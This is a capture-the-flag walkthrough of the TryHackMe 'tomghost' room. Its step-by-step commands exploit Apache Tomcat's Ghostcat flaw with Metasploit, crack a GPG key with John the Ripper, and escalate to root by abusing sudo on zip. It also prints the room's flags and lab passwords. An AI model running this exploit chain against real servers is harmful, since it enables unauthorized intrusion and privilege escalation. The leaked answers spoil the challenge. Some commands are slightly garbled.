Challenges: tomghost (TryHackMe)

In this TryHackMe challenge, we’re tasked with compromising a Linux machine by gaining low-privileged access, escalating privileges, and collecting two flags: user.txt and root.txt. The target system runs Apache Tomcat and has a known vulnerability called Ghostcat (CVE-2020-1938). The room offers a mix of enumeration, vulnerability exploitation, key decryption, and privilege escalation. This walkthrough demonstrates a full exploitation path from reconnaissance to root access.

Flags

**Are you able to complete the challenge?
**The machine may take up to 5 minutes to boot and configure.

Admins Note: This room contains inappropriate content in the form of a username that contains a swear word and should be noted for an educational setting. - Dark

Answer the questions below

Compromise this machine and obtain user.txt THM{GhostCat_1s_so_cr4sy}

Start by running an nmap scan:

nmap -sC -sC 10.10.81.186

Then we check this site:

http://<IP_Address>:8080

We checked if there’s a CVE linked to Tomcat 9.0, as this site looked like an official documentation of Apache Tomcat, and there could be a lead from this:

I tried using Metasploit at first, but it wasn’t working right. Later on after researching through other writeups and ChatGPT i learned that I was supposed to use Metasploit but search ghostcat

msfconsole

search ghostcat

use auxiliary/admin/http/tomcat_ghostcat

set RHOSTS <IP_Address>

exploit

we’ll get the credentials of the user which will enable us to get low user access using SSH

ssh skyfuck@<IP_Address>

skyfuck:8730281lkjlkjdqlksalks

find / -type f -name user.txt 2> /dev/null

cat /home/merlin/user.txt

Checking the files here, we found tryhackme.asc file which is a ASCII-armored — it's a text-encoded file used by PGP/GPG (Pretty Good Privacy). It can contain:

Escalate privileges and obtain root.txt THM{Z1P_1S_FAKE}

ls

gpg --import tryhackme.asc

| File Purpose | Description | | --- | --- | | 🔑 Public key | Shared with others to encrypt messages or verify signatures | | 🔒 Private key | Kept secret to decrypt messages or sign content | | 📄 Encrypted message | Data encrypted using a public key | | ✍️ Signed message | Message + digital signature |

using your machine you can get the asc file

wget http://:8000/tryhackme.asc

gpg2john tryhackme.asc > hashfile

john hashfile —-wordlist=/usr/share/wordlists/rockyou.txt

on the victim’s machine run:

gpg —decrypt credential.pgp
passphrase: alexandru

we now have another user called merlin and we’ll run the su merlin on the victim’s machine

su merlin

password: asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

sudo -l

cd /tmp
echo "GTFO" > file.txt
sudo zip test.zip file.txt -T --unzip-command="sh -c /bin/sh"

cd /tmp

echo "GTFO" > file.txt

sudo zip test.zip file.txt -T --unzip-command="sh -c /bin/sh"

whoami

find / -type f -name root.txt 2> /dev/null

cat /root/root.txt

This room provided a great mix of techniques useful in real-world pentesting — including identifying a vulnerable service (Tomcat Ghostcat), accessing sensitive files, decrypting a private key, and escalating privileges using a sudo misconfiguration with zip. It reinforced the importance of service enumeration, credential discovery, and GPG key handling. The final exploitation step using a malicious unzip command was a rewarding way to achieve root access and read the root.txt flag, completing the challenge.